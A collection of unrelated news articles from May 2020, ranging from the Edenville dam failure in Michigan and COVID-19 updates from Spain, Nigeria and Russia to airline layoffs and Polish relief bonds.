EDENVILLE, MI  When you live on a lake, its about more than just the water. Its the basis for an entire lifestyle, Wixom Lake resident Carrie Huckins says.

Wixom Lake, until the privately owned Edenville dam failed on Tuesday, was that. Like many of Michigans nearly 11,000 inland lakes, it was a place where family and friends gathered throughout the summer to make memories, drink beer around bonfires, fish, tube, boat and link up on sunny Saturdays at Pontoon Alley, the on-water party spot, Huckins said.

It was a big wet friend residents and vacationers welcomed home every spring and said farewell to each Labor Day.

Now, its something very different: A big expanse of sand, surrounded by flood-damage homes with intermittent streams and flopping carp that were left behind when the lake was slurped away downstream.

Read more: Full coverage of flooding in Michigan

There are stray, landlocked pontoon boats, owned by those unlucky enough to have put their boats in before the dam failure. Theres a formerly sunken, now-exposed and very rusty early-1900s steam shovel. Theres the trunks of dead apple trees that were an orchard before being intentionally submerged during creation of the reservoir in the 1920s. And then an oddly situated picnic table, apparently plopped down by floodwaters in the middle of the expanse of silt and mud.

Fresh all-terrain vehicle and bird tracks mark the exposed lake bottom.

In the immediate area where floodwaters swelled and then flowed downstream, you see more dead fish on lawns than the typical sprouting dandelions. The sandy former lake bed more closely resemble Sleeping Bear Sand Dunes -- or perhaps a Martian landscape -- than the nearly 2,000-acre all-sports lake it was a week ago.

"It looks like a nuclear bomb went off, said John Niesluchowski, 35, of Chesterfield, who purchased his lake house on the north end of the lake for $147,000 in November.

As the nearly 1,000 owners enter this years Memorial Day weekend, they are dejected and many are worried for the future. Most accept that it will take time for things to return to normal, but refuse to believe their beloved Wixom Lake might never return.

I cant imagine this town without this lake, said Huckins, who lives on the lake, owns several investment properties and is a real estate agent. This lake has to be fixed and brought back ... This town will never be the same if it stays dried up.

Origins

Before it was dammed, the area at the south end of Wixom Lake in Edenville is where the Tobacco River converged with the Tittabawassee River.

Frank Wixom, an entrepreneur who before entering the dam business created a rural Michigan circus act called the Augusta Mimes Minstrels, built the Edenville Dam in 1924 to harness hydroelectricity, the Midland Daily News reported.

With the waters of the converging rivers restricted by the dam, Wixom Lake formed behind it.

Wixom Lake is part of a series of four dammed reservoirs in a north-to-south chain fed by the south-flowing Tittabawassee River.

Secord Lake, the northernmost, lies in Gladwin County. It feeds Smallwood Lake, followed by Wixom Lake, which is split by the Midland/Gladwin county border. Midland Countys Sanford Lake is the final link in the lake chain before the waterway comes back to the Tittabawassee River and flows from Midland through Saginaw County.

Sanford Lake in Midland County pictured on Thursday, May 21, 2020. A breach in the Sanford Dam embankment drained away the lake.Neil Blake | MLive.com

The dam feud

Millions earned during the lifetime of William D. Boyce, described as an entrepreneur, newspaperman and Boy Scouts of America founder, created the wealth that eventually led to Boyce Hydro Power, the company that owns and operates four dams on Secord, Smallwood, Wixom and Sanford lakes.

Led by Lee Worthington Mueller, the grandson of Boyce and who is listed in public records as a resident of Henderson, Nevada, Boyce Hydro acquired the dam in 2004 and sold power generated by its operations to Consumers Energy. In recent years, the company came under the scrutiny of federal regulators.

According to filings by the Federal Energy Regulatory Commission (FERC), an agency that regulates hydroelectricity production, the Edenville Dam capacity has been an issue since the late 1990s. The Michigan Department of Environment, Great Lakes, and Energy (EGLE) assumed regulatory authority for the 96-year-old dam in late 2018 after its license to generate hydropower was revoked. the EGLE gave the Edenville dam a fair rating in 2018.

Related: Failed dam owner fought with state over Wixom Lake levels before flood

Concerned with Boycy Hydros management of the dams, a group of lake residents formed the Four Lakes Task Force with the intent of purchasing the dams from Boyce Hydro and upgrading them.

The Four Lakes Task Force signed a $9.4 million purchase agreement in December to buy Wixom, Sanford, Secord and Smallwood lake bottomlands and the dams from Boyce Trusts. But the deal had not closed by the time of the Edenville dam failure.

Whose responsibility it may be, if anyones, to rebuild the dam and thereby refill Wixom Lake remains unclear.

We know that this under-investment is going to come with a very big cost if we dont take this seriously, Whitmer said this week.  ... We can talk about the merits of whether or not private companies should own critical infrastructure or not  I dont think that they should  but thats what were dealing with here.

Where theres culpability, we will pursue ... holding people accountable.

Sanford Dam pictured on the morning of Thursday, May 21, 2020.Neil Blake | MLive.com

Sucked away

Larry Woodard, president of the Wixom Lake Association, stood in ankle-deep water while inspecting his property on Paradise Drive early Tuesday evening. He and his wife own a small cottage along the canal a few hundred yards from Wixom Lake. A neighbor called to let him know the water was rising, so he drove up from his permanent residence near Lansing.

We had about four inches of water in the pole barn, said Woodard, wearing a red T-shirt that read, Lake Michigan, unsalted.

And as I was standing there, I saw the water start to run back out of the pole barn," he said. Thats when the dam had breached and within within two or two and a half hours all the water was gone.

On Friday, all that remained was a small stream trickling down the center of the former canal between empty boat hoists and docks no longer in the water.

Woodard and many residents suffered significant flood damage to their homes and cottages before the water left.

Related: Fisherman mourns loss of Wixom Lake in wake of dam break and flood

While Wixom Lake rushed into Sanford Lake and later overflowed riverbanks in Midland and portions of Saginaw County, the debris it took with, including entire uprooted trees, slammed the girders and supports of overpasses along the way. Most are now impassable, and the spectacle of the destruction of some bridges has become a tourist attraction of sorts.

As of Friday, the only passable routes available to get from one side of Wixom Lake to the other involved driving nearly an hour out of the way.

Along the Dale Road Bridge, several vehicles, unaware of the bridge outage, parked. The passengers exited and walked passed the road closed sign onto the bridge.

Among them was a Grand Rapids man named Tom, who declined to give his last name. He was driving to his cottage for the first time since hearing of the dam failure.

Its just sad, he said, marveling while looking south at the desolate expanse of the former waterway.  ... I should get a couple metal detectors now.

The lake was a huge draw.

Instead of laughter and barbecues, he said this Memorial Day weekend is going to be filled with sadness and cleanup.

Larry Woodard, president of the Wixom Lake Association, looks at what remains after the Edenville damn collapsed on Tuesday, May 19.

Real estate

Huckins lives near Strykers Lakeside Marina on Wixom Lake, and owns Better Homes And Acres Real Estate, a business she opened right next to her own Wixom Lake home.

She wonders what will happen to property values while there is so much uncertainty over if and when the lake will ever return to its former state.

Folks that are selling dont know what to do, Huckins said. "The folks that are buying, theyre questioning what are the property values are now.

Its going to be different its going to be different for a long time. I dont know whats going to happen for real estate. I dont know whats going to happen for the summer.

A tiny, matchbox lakefront home, at about 500 square feet, could sell for $200,000 prior to the disaster, Huckins said.

I think I sold the highest price home on Wixom for $735,000 ... in August of last year," she said, recalling the high-fives.

Property value was not something Niesluchowski, who recently purchased his house the lake, wanted to contemplate as he ripped out soggy flooring and paneling he meticulously painted just months ago.

Unless you like four-wheeling down there, he said, referring to the uncovered lakebed, the property has little value in its current state.

I tried to buy flood insurance, Niesluchowski said. "They said we werent in a flood plain so we werent eligible for it.

I was like, I want to be responsible and have it. I could care less if I paid it for the next 30 years. At least I have that just in case.

With so many residents in a similar situation, he wonders if without some sort of external assistance many owners will just walk away from their mortgages or be forced to leave their flood-ravaged homes remain uninhabitable.

Niesluchowski pictured catching monster fish with his children, spending time canoeing and laughing with friends and family. Now he has resigned to the reality that his first Memorial Day at the lake will be much different than expected.

Hard work," he said as he returned to his gutted and soggy family room. "Maybe well have a couple beers, then well do it again.

More on MLive:

Lake Wixom dam break

Fisherman mourns loss of lake

Gladwin County included in emergency declaration

Midland flooding was devastating

Whitmer to hold responsible parties culpable
A man attacked a woman during a "house party gone wrong" in a Dublin apartment, leaving her with serious head injuries.

He then went on a rampage and slashed the tyres of eight random cars nearby, the Herald can reveal.

The incident happened at a large complex on the corner of Parnell Street and North Cumberland Street at 2.45am yesterday.

It is understood that a small party had been taking place at the flat.

A group of people are believed to have been enjoying drinks when the situation escalated.

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A woman in her 30s received what gardai described as serious injuries in the attack on an upper floor of the apartment block. It is understood no implements were used in the assault.

The woman was taken to the Mater Hospital and remained in a serious condition last night.

After leaving the apartment, the attacker, who is from the Finglas area of north Dublin, went to the complex's car park and randomly stabbed residents' tyres, causing hundreds of euro of damage.

In many cases more than one tyre was punctured on a vehicle.

The man then fled the scene but was apprehended by gardai nearby on Parnell Street.

The man, also aged in his 30s and believed to be known to the victim, was brought to Mountjoy Garda Station for questioning.

He was expected to appear before court this morning charged over the incident.

One resident of the apartment complex said he had heard shouting.

"It sounded like a loud argument and then the gardai, an ambulance, and the fire brigade all came," he told the Herald.

"Then I saw six or seven gardai around this guy on the street. He seemed like a big man."

One man whose car was attacked said he did not even know there had been a row or a fight or anybody injured.

"The gardai called my daughter and she called me this morning, and one of the tyres on the car has been stabbed," he said.

"You cannot repair that sort of puncture. You have to get a new tyre. So now I have to put the spare wheel on and go an get a tyre.

"There are other things I could be spending my money on so this makes me very angry."

Tyres

Around the car park other cars could still be seen with punctured tyres.

The damage in each case was a slash over an inch long and looked like a sharp-pointed knife had been pushed with force into the tyre wall.

The owners of cars with more than one puncture faced the added cost of calling a repair crew out to replace the tyres.

A garda spokesperson said: "Gardai in Mountjoy are investigating an assault incident that occurred at a premises on Parnell Street, Dublin 1, at approximately 2.45am on May 21.

"It is reported that a male aged in his 30s assaulted a female in her 30s. The male left the apartment and it is alleged he carried out an act of criminal damage on a car in the area.

"The male fled the scene and was apprehended soon after by gardai on Parnell Street and conveyed to Mountjoy Garda Station where he is currently detained under Section 4 of the Criminal Justice Act 1984.

"The woman was taken to the Mater Hospital with serious injuries.

"Gardai are appealing for anyone with information to contact Mountjoy Garda Station on 01 666 8600 or the Garda Confidential line on 1800 666 111."
A Vietnamese man made a trade-off between an opportunity to settle down in the U.S. and returning to Vietnam to realize his dream of introducing the traditional banh trang, known in English as rice papers, to the world.

The man is Le Duy Toan, 32, who finished his four years at the California State University with a degree in business administration.

Upon his graduation, Toan chose to come back to his hometown in Cu Chi District in Ho Chi Minh City, where Phu Hoa Dong Village - famous for making rice papers - is located, to revive its fading traditional craft.

The decision came unplanned as Toan had always thought he would stay in the U.S after his study.

A shopping trip at a U.S. supermarket changed his mind when he saw a pack of rice papers labeled 'Made in Thailand' on display there.

As far as I know, Thailand does not produce rice papers, while Vietnam does. I was pissed off by this, Toan told Tuoi Tre (Youth) newspaper.

I wished to stamp rice papers my family make with the 'Made in Vietnam' label and put them on U.S. supermarkets shelves, he said.

This drove Toan to return home in 2010 and establish Duy Anh Food Company and its facilities with VND500 million (US$21,368) in his hands to start his rice-paper-exporting business.

The first step is always the hardest as he failed to offer his rice papers to about 20 importers in different countries, including Japan and the U.S., and even domestic companies.

At that time, I felt like I was going down a blind alley, Toan said.

Fortune only smiled on Toan when a group of Japanese tourists were introduced to Phu Hoa Dongs rice paper craft during their visit to the historic Cu Chi Tunnels.

Toan got this chance to gift each member in the tourist group a pack of his rice papers.

Weeks after the meeting, one of the tourists contacted Toan to negotiate importing his rice papers into Japan.

But that did not mean Toan could immediately post his products abroad as the Japanese side required strict quality testing.

Toans rice papers only passed the testing round to be exported to Japan after his 13th attempt.

That was the turning point as my foreign customers then gradually recommended my products to other importers in other countries, the man said.

He also promoted his rice papers on online trading platforms.

An incident put a damper on Toans business only a year after it went into operation when a fire caused by electric problems burned his production facility to ashes, resulting in a loss of VND3 billion ($128,084).

I almost bet my life to take out a VND5 billion [$213,502] mortgage to build the facility again from scratch, Toan said.

Then a 12-metric-ton shipment of Toans rice papers was canceled at the port of Incheon in South Korea due to quality inadequacy.

The two incidents marked two great obstacles along his business path.

After ten years, Toans production facility has been expanded to cover 15,000 square meters in Phu Hoa Dong, creating jobs for nearly 200 local people.

According to Toan, his company has so far exported rice papers to as many as 42 countries around the world, including the U.S.  his target destination.

Actually, the first market I targeted was the U.S., not Japan. At that time, I thought I had to bring my rice papers to America to replace the 'Made in Thailand' ones at all costs, he said.

Perhaps, it was fated that I met Japanese and South Korean customers first before the U.S.

The companys rice papers have been recognized by the U.S. Food and Drug Administration and met all standards to be served to Jews.

Toan compared his happiness when receiving exporting orders to planting a flag on a mountains peak after conquering it.

Like us on Facebook or follow us on Twitter to get the latest news about Vietnam!
China's national legislature to hold annual session from May 22 to 28

BEIJING, May 21 (Xinhua) -- China's national legislature will open its annual session on Friday morning in Beijing, a spokesperson said Thursday.

The third session of the 13th National People's Congress (NPC) is scheduled to conclude on May 28, with nine items on its agenda, Zhang Yesui, spokesperson for the session, told a press conference.

Lawmakers will deliberate six reports including the government work report, as well as the draft civil code, Zhang said.

They will also deliberate the bill put forward by the NPC Standing Committee on reviewing a draft decision of the NPC on establishing and improving the legal system and enforcement mechanisms for the Hong Kong Special Administrative Region to safeguard national security, Zhang said.

Press conferences, press briefings and interviews of deputies and ministers will be held during the session via video link, he said, adding that preparations for the session have been completed.
Source: Xinhua| 2020-05-22 14:57:46|Editor: huaxia

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UNITED NATIONS, May 22 (Xinhua) -- China's Permanent Mission to the United Nations on Thursday held a virtual event to celebrate the first International Tea Day.

President of the 74th Session of the UN General Assembly Tijjani Muhammad-Bande, permanent representatives of more than 20 countries and nearly 200 delegates joined the online celebration.

In his remarks, Muhammad-Bande said the tea industry is related to key areas of the UN's work, including poverty eradication, zero hunger, climate action and inclusion, adding that tea is also "a main source of income and export revenues" for some of the least developed countries.

He called on the international community to promote the sustainable development of the tea industry and help relevant countries attain the UN's Sustainable Development Goals.

Zhang Jun, China's permanent representative to the United Nations, said the inception of International Tea Day has given tea new life and vitality. With a shared love for tea, people of all countries could work together to build a better and more harmonious world.

Tea can help promote the harmonious coexistence between humans and nature, and efforts to protect Mother Earth and achieve green development, he told the virtual event co-organized by the Chinese mission and the Food and Agriculture Organization (FAO).

Tea production can lift farmers from poverty, promote trade and build an interconnected world, Zhang added.

Chinese Agriculture Minister Han Changfu offered his congratulations and good wishes through a video message.

FAO Director-General Qu Dongyu delivered closing remarks, saying that the culture of drinking tea has a long history and the tea industry provides livelihood for millions in rural areas. He expressed the hope that all parties could join hands to promote the sustainable development of the tea industry.

The UN General Assembly adopted a resolution in December 2019 to designate May 21 as International Tea Day. Enditem
Research

HS Seniors Share Concerns in Survey About College Plans

Nearly half of high school seniors (45 percent) in a recently survey are at least moderately concerned that COVID-19 will force them to change their college choices, and eight in 10 (81 percent) have some concerns that COVID-19 might delay their enrollment. Yet 93 percent are even more worried that they've lost traditional high school events and activities.

Those findings grew out of an Encoura Eduventures survey of 7,117 college-bound high schoolers, 93 percent of whom had already been admitted to at least one college. The survey took place between March 27 and April 5, 2020.

According to Eduventures Principal Analyst Kim Reid, the students whose enrollment decisions could be most impacted were more likely to be first-generation, non-white and/or residing in a county that leaned Democratic in the 2016 presidential election.

The purpose of the survey was to help colleges and universities understand the immediate reactions students were having to current virus events. A report on the results offered multiple recommendations to institutions to help them prepare relevant responses, among them these:

Maintain calm. Students may be a bit worried, but they're not panicking yet. "The communication style that institutions adopt is critical," the report stated. "Offer a steady and calming source of support and information for students."

Students may be a bit worried, but they're not panicking yet. "The communication style that institutions adopt is critical," the report stated. "Offer a steady and calming source of support and information for students." Don't change your tune. Students may have worries about covering costs or holding off on attending, but changing their choice "is not in the cards for many," the report noted. "Reinforce the strong value proposition that brought students to this point to choose your institution."

Students may have worries about covering costs or holding off on attending, but changing their choice "is not in the cards for many," the report noted. "Reinforce the strong value proposition that brought students to this point to choose your institution." Go beyond virtual visits to help students. The report advised virtual options to help students "understand the curriculum and learn about student life, financial aid and career outcomes."

The report advised virtual options to help students "understand the curriculum and learn about student life, financial aid and career outcomes." Develop financial aid strategies for students experiencing economic loss due to COVID-19. Those who have had job loss in their families were more likely to say they had a high expectation of delaying college enrollment. Therefore, they require "specific outreach," the report asserted.

"The greatest certainty in these uncertain times is that families are experiencing and will continue to experience financial instability. We may see some families rebound from initial losses, but we will see other families endure financial loss as layoffs move deeper into the economy," said Reid, in a statement. "We feel that institutions must be prepared for scenarios with increased financial pressure on families. This means moving beyond the immediate communication and yield efforts into discussions of sustainable financial aid and pricing strategies that will assist families in the difficult time ahead."

A webinar about the survey findings is available on demand with registration on the Encoura website, as is the report itself.
Spains daily death toll from the coronavirus fell below 50 on Thursday for the first time since a lockdown was imposed in mid-March, but the figure excludes deaths in the northeastern region of Catalonia.

Cumulative deaths climbed by 48 to 27,940, while the number of confirmed cases edged up to 233,037, the health ministry said.

Catalan authorities did not update their daily figures due to data-validation problems, the ministry said in a statement, without elaborating on the nature of the problems.

Health Emergency Chief Fernando Simon said officials preferred not to release the Catalan data until they were satisfied with its quality.

We want to provide the best possible data so people can take solid and informed decisions, he told a news conference.

Including deaths in Catalonia the daily toll would still be around 50, he added.

At the peak of the outbreak in early April, Spain reported as many as 950 deaths a day. A strict lockdown has helped bring the epidemic under control, prompting authorities to begin lifting restrictions.

Bars and restaurants have reopened their terraces in most of the country, people are allowed out to exercise and some shops can open. But fears of a second wave remain and the government introduced mandatory mask use in public from Thursday.

Prime Minister Pedro Sanchez on Wednesday secured a razor-thin parliamentary majority to extend the emergency state by two weeks, allowing his government to control further easing.

Support for his left-wing coalition is flagging in parliament and on the streets, with pot-banging protests spreading around the country.

SOURCE: REUTERS


- Median elimination of the virus in four days compared to nine days with standard therapy, according to the study involving 60 patients

- Efficacy of the drug is above 80%, a criterion of a drug with high antiviral activity

- Russia's Ministry of Health has approved the start of the final stage of clinical trials involving 330 patients, with selection of participants currently underway

MOSCOW, May 22, 2020 /PRNewswire/ -- The Russian Direct Investment Fund (RDIF), Russia's sovereign wealth fund, and the ChemRar Group today announce the start of the final stage of the multicenter randomized open comparative clinical trial of the drug Favipiravir on patients hospitalized with COVID-19.

On 21 May 2020, the Ministry of Health of the Russian Federation approved the launch of the final stage, which will involve 330 patients compared to 60 during the initial stage, as well as additional research and medical centers. In total, 30 medical centers in nine Russian regions will conduct studies at the final stage. RDIF and ChemRar have applied to the Russian Ministry of Health for the accelerated registration of Favipiravir in accordance with the Russian Government's Decree No. 441 of 3 April 2020.

The first stage of the trials has already been completed. It lasted ten days and involved 60 patients with coronavirus infection with moderate illness. 40 people received Favipiravir treatment and the other 20 patients from the control group were on standard therapy. According to the results of the first stage, Favipiravir demonstrated safety with no new or previously unreported side effects detected. The drug's efficacy was above a threshold of 80%, which is the criterion for a drug with high antiviral activity. The body temperature of 68% of patients taking Favipiravir returned to normal earlier (on the third day) than in the control group (on the sixth day). On average, complete elimination of the virus from the body as a result of Favipiravir treatment occurred in four days, while in the standard therapy group this process took nine days.

Following the first four days of treatment, 65% of the 40 patients who took Favipiravir tested negative for coronavirus, which is twice as many as in the standard therapy group. By day 10, the number of patients whose tests returned negative results reached 35 out of 40.

Kirill Dmitriev, CEO of the Russian Direct Investment Fund, said:

"We continue to receive promising data during the clinical trials of Favipiravir. At least 85% of patients in the control groups completely recovered from coronavirus within 10 days after the start of the treatment with the drug. We expect a positive final result of the trial, which will enable us to complete the registration procedure for the drug in Russia and roll out full-scale production and delivery to medical institutions across the country."

Elena Yakubova, CEO of ChemRar Pharma, said:

"We noticed a faster improvement in the general health and clinical condition of the patients taking Favipiravir, which may lead to earlier discharge from hospital and reduce the burden on medical facilities by 30-40% in the near future. Thanks to the administration of Favipiravir, most patients are not infectious as early as the fifth day of treatment, which is critical to stop the epidemic and ensure a swift return to normal life."

Russian Direct Investment Fund (RDIF) is Russia's sovereign wealth fund established in 2011 to make equity co-investments, primarily in Russia, alongside reputable international financial and strategic investors. RDIF acts as a catalyst for direct investment in the Russian economy. RDIF's management company is based in Moscow. Currently, RDIF has experience of the successful joint implementation of more than 80 projects with foreign partners totaling more than RUB1.8 tn and covering 95% of the regions of the Russian Federation. RDIF portfolio companies employ more than 800,000 people and generate revenues which equate to more than 6% of Russia's GDP. RDIF has established joint strategic partnerships with leading international co-investors from more than 15 countries that total more than $40 bn.

RDIF takes active steps to counteract COVID-19:

RDIF and partners have launched the production of the unique Russian-Japanese EMG diagnostic system , which generates results in 30 minutes with an accuracy of more than 99.9% in both stationary and unmatched portable mini-laboratories. The Japan Bank for International Cooperation has joined the project through the Russia-Japan Investment Fund;





, which generates results in 30 minutes with an accuracy of more than 99.9% in both stationary and unmatched portable mini-laboratories. The Japan Bank for International Cooperation has joined the project through the Russia-Japan Investment Fund; RDIF and the ChemRar Group have produced the first batch of Favipiravir , a drug that has proven effective in the treatment of infected patients in China and in clinical trials in Russia . Preparations are currently underway for the mass production of the drug;





, a drug that has proven effective in the treatment of infected patients in and in clinical trials in . Preparations are currently underway for the mass production of the drug; RDIF has launched a project to diagnose and detect pneumonia, including that caused by coronavirus, using CT scans combined with the Russian-UAE artificial intelligence (AI) technology developed jointly by Group 42 (G42), RDIF and Medscan Group;





developed jointly by Group 42 (G42), RDIF and Medscan Group; RDIF has provided support to the public in observing the lockdown restrictions and self-isolation regime, driving a several-fold increase in telemedicine consultations via the Doctis service , as well as in access and subscriptions to the ivi online media library , delivery of Elementaree meal kits and demand for products and services of other RDIF portfolio companies;





, as well as in access and subscriptions to the , delivery of and demand for products and services of other RDIF portfolio companies; The Mother and Child Group , an RDIF's portfolio company, has repurposed its largest clinical hospital Lapino to treat patients with COVID-19 symptoms.





, an RDIF's portfolio company, has repurposed its largest RDIF was one of the initiators of the Alliance against coronavirus, which also includes the Russian Union of Industrialists and Entrepreneurs (RUIE), Yandex, Mail.ru Group and the Rossiya Segodnya international news agency. RDIF is actively involved in key initiatives and charity projects.

Further information can be found at www.rdif.ru

ChemRar Group unites R&D service and investment companies in the field of innovative pharmaceuticals for the development and commercialization of innovative medicines, diagnostics, preventive care and new treatments of life-threatening diseases in Russia and abroad. Further information can be found at http://en.chemrar.ru/

Photo - https://mma.prnewswire.com/media/1171941/RDIF_Production_of_Favipiravir.jpg

Logo: https://mma.prnewswire.com/media/1140939/Russian_Direct_Investment_Fund_Logo.jpg
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A young woman has gone viral after she filmed herself feeding fruit to a possum named 'Pepper' through a tiny hole in her ceiling.

TikTok user Zhane Blaxland, 19, from Brisbane in Queensland, also known as 'oiyeahnahyeah,' uploaded a video of a possum who had chewed a hole in the roof above her bedroom.

The possum laid on top of the hole, so Ms Blaxland poked it which caused the animal to turn around and push its nose through the roof.

Ms Blaxland grabbed a banana from her kitchen counter, peeled it, and fed a piece of it to the possum through the hole.

The TikTok titled 'Day one of making friends with the possum in my roof' has been viewed 25.9million times and spawned several follow up videos which document her many encounters with the animal.

TikTok user Zhane Blaxland (pictured), 19, from Brisbane in Queensland, also known as 'oiyeahnahyeah,' uploaded a video of a possum who had chewed a hole in the roof above her bedroom

The possum laid on top of the hole, so Ms Blaxland poked it which caused the animal to turn around and push its nose through the roof

Ms Blaxland said she already knew a possum lived in her roof because she could hear him running around at night.

'He can get very noisy. He lives right above my bedroom and I often hear him scratching and screeching,' she told UNILAD.

She said her family home always had possums in the ceiling, so she wasn't surprised when she found one in her house.

The TikTok superstar believes there may be more than one possum living in her roof because she can hear the sound of fighting at night.

Which is kind of scary to hear at 2am when Im trying to sleep, she said.

Even though she feeds the possum from time-to-time and he is usually friendly, Ms Blaxland said he can also be aggressive.

I once went up into the ceiling and he was hissing at me, she said.

Ms Blaxland grabbed a banana from her kitchen counter, peeled it, and fed a piece of it to the possum through the hole

The TikTok titled 'Day one of making friends with the possum in my roof' has been viewed 25.9million times and spawned several follow up videos which document her many encounters with the animal

The video received over 24,700 comments with many people praising Ms Blaxland for being friendly towards the possum.

'This is wholesome. I'm now happy. Thank you,' one person said.

Another user said: 'I thought this was a hairball in the shower at first.'

One person commented: 'That's nice of you to welcome the possum to your family.'

'Finally, someone who appreciates possums. This is the content I am here for,' another wrote.

Ms Blaxland has continued to upload videos of her escapades with the possum and each of them have also been viewed millions of times.
Dr. Osagie Ehanire

The Minister of Health, Dr Osagie Ehanire, on Thursday, said COVID-19 patients, who spent a long period at isolation centres were at the risk of depression, The PUNCH reports.

Ehanire, who stated this in Abuja at the press conference of the Presidential Task Force on COVID-19, said government planned to deploy psychologists in isolation centres to take care of such patients.

At the press conference, the Director General of the Nigeria Centre for Disease Control, Dr Chikwe Ihekweazu, said the task force was reluctant to adopt home treatment it once proposed because of conditions under which Nigerians live.

He also asked professional groups and faith-based organisations, including churches and mosques, to submit guidelines for reopening to the NCDC to review and advise.

But explaining effects of long treatment on some patients, the health minister stated, On the mental health issue of those in isolation, who have stayed a little bit longer, some people do get a little bit of mental depression. This mental health issue is under consideration. It (a policy) is also being developed in states to have psychologists create things to engage those in isolation.

He also said the Federal Government had intervened in the sit-at-home protest embarked upon on Wednesday by the Lagos State chapter of the Nigerian Medical Association, following harassments by the police, who were enforcing a nationwide curfew imposed by the President, Major General Muhammadu Buhari (retd.)

The minister stated, With regard to the industrial action by doctors in Lagos, I spoke with the NMA Chairman of the Lagos Chapter on Wednesday to dissuade the doctors from the planned sit-at-home protest in the state, and I listened to their complaints too on harassment at security check points.

The health minister said the Federal Governments team sent to Cross River State on Monday had returned and its report stated that there was no confirmed case yet in the state.

Besides Cross River State, Kogi State has not recorded any COVID-19 case, but the NCDC officials, who were sent to the North-Central state went back to Abuja without accomplishing their mission following the insistence of the state government that they must be in isolation for 14 days.

On Thursday, the minister noted that an analysis of the 200 COVID-19 deaths recorded so far in the country revealed a 70-30 per cent ratio for males and females.

Ehanire said, A finding from our analysis of deaths shows the ratio is 70 to 30 for men and women respectively. About 70 per cent were over 60 years of age, while the majority of positive cases were between 29 and 49 years of age, being the most outgoing segment of any society. I also advise all who have taken the test and are awaiting result to self-isolate at home, wear face masks and observe hand and respiratory hygiene until the result is out.

The fact-finding team to Calabar is back to Abuja with a report. We have identified areas in need of upgrade to include laboratory facilities. No case of COVID-19 was reported by the state as at May 20. Also, 16 suspected cases have been tested, with all being negative.
Kings Chef Diner employee Casey Bush delivers a meal to a customer at the curbside pick up station Tuesday, March 17, 2020, outside the downtown Colorado Springs location. Colorado closed all its bars and restaurants to dine-in eating to curb the spread of the COVID-19 virus but drive-through and take-out service is still available. The city installed special short-term parking spots outside downtown restaurants for curb service. (The Gazette, Christian Murdock)
Source: Xinhua| 2020-05-22 23:38:18|Editor: huaxia

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SHANGHAI, May 22 (Xinhua) -- Major Chinese e-commerce platform Pinduoduo Inc. posted a 44 percent year-on-year revenue growth in the first quarter of 2020 with soaring active user number amid the COVID-19 epidemic.

Total revenue in the quarter ending March 31 were 6.54 billion yuan (about 923.8 million U.S. dollars), according to its unaudited financial results for the first quarter released on Friday.

Its gross merchandise volume (GMV) in the twelve-month period ending March 31 was 1,157.2 billion yuan, an increase of 108 percent from a year earlier.

In the twelve-month period ending March 31, the number of active buyers was 628 million.

"We remain committed to our users, merchants and ecosystem partners during this difficult period. In the first quarter, we adopted numerous measures to support them, including providing free bandwidth to farmers and small businesses, and stabilizing the prices of medical and other daily necessities that were in high demand," said Huang Zheng, chairman and CEO of Pinduoduo. Enditem
The Forsa trade union has branded as "premature" plans by Aer Lingus to start cutting jobs and extend reductions in working hours and pay when the Covid wage subsidy scheme expires on June 21.

Aer Lingus has already cut pay and working hours for staff and has flagged necessary job cuts, reported to be in the region of 900 positions.

However, it is understood that staff have now been informed that further reductions and lay-offs will be required after June 21.

Forsa said this is premature, with there still being time to negotiate.

To act unilaterally now, and to abandon the efforts to negotiate a solution to the current crisis, and plan for a future recovery, is to squander the time remaining to negotiate real solutions, said Forsa official Angela Kirk.

Nobody is pretending it will be easy, but to shut the door on discussions with a month of state-subsidised support still to go, is not the way to solve the enormous challenges faced by the industry, she said.

Aer Lingus said it is continuing to communicate directly with employees and to engage with their representative bodies.

Elsewhere, Ryanair said its Austrian subsidiary Lauda will close its Vienna base next week, with 300 jobs going as a result. Ryanair has already announced 250 job cuts and is negotiating up to 3,000 cuts across pilot and cabin crew staff.

Unions have accused Ryanair of exaggerating the Covid threat in negotiations while painting a better picture for investors.

CityJet, which went into examinership last month, said it is due to start negotiations on redundancies across its Irish and UK operations. It said it expects up to 276 flying, engineering support staff and administration jobs to be lost.

The airline operates its aircraft on behalf of customer airlines under so-called wet lease agreements. However, four of its five customer airlines cancelled their contracts in March.
Magic Leap has been struggling for quite a while now, but the past year has been especially difficult due to poor sales and the coronavirus pandemic. Back in April, the company announced that its laying off employees at every level, and The Information reported that around 1,000 people would lose their jobs. Now, the mixed-reality headset-maker has finally caught a break  according to Business Insider and The Information, company chief Rony Abovitz told his employees in a memo that Magic Leap has managed to raise $350 million from existing and new investors.

As a result, Abovitz has reportedly withdrawn the layoff notices sent to remaining staff in April. Its unclear how many employees lost their jobs before this, but those still with the company wont have to worry about getting laid off in the near future at least. Despite the hardships the company has had to face in recent years, Magic Leap started strong and raised $2.6 billion to develop its mixed reality headset. Unfortunately, thats yet to translate to commercial success. Bloomberg reported in March that the company chose to shift its focus on business and to start finding a buyer for a sale that could fetch up to $10 billion due to the lackluster sales of its AR headset.
Poland is targeting local banks and largely bypassing foreign investors in its unprecedented efforts to raise funds for virus relief.

In the past two months, quasi-sovereigns issued 80 billion zloty ($19.3 billion) in state-guaranteed bonds -- more than twice the amount sold by the government at regular auctions this year.

In the latest deal, state development fund PFR placed on Friday 15.2 billion zloty of five-year notes, offering a yield of about 70 basis points above similar length government securities. A day earlier, state lender Bank Gospodarstwa Krajowego sold 9 billion zloty of relief bonds.

The quasi-sovereigns don't give detailed data on who purchased their bonds, apart from saying that local banks have been the biggest buyers. Domestic mutual funds haven't been active as they continue to struggle with outflows during the ongoing economic and market unrest. Foreign buyers don't even appear to be a regarded as a target buyer.

"PFR doesn't even have a term sheet in English, while BGK bonds are only available if you go through a Polish bank, which makes things a bit tricky," said Andreas Rein, a portfolio manager at Uniqa Capital Markets in Vienna. "We bought some BGK bonds on Thursday, but the procedure for foreign buyers could be more open."

While liquidity in the new instruments is low, both quasi-sovereign issuers are eligible for the Polish central bank's bond-buying program, which so far bought 20.8 billion zloty of PFR and BGK debt. As a bond-buyer of last resort, the central bank can potentially provide an exit ramp for investors if sentiment changes.

Still, the additional yield on PFR's notes over government bonds isn't a bonanza, according to Bartosz Pawlowski, chief investment officer at MBank SA in Warsaw.

"We're talking government bond yield, plus banking tax, plus the premium for low market liquidity," Pawlowski said. "It's not exactly the eighth wonder of the world."
All amounts expressed in US$.

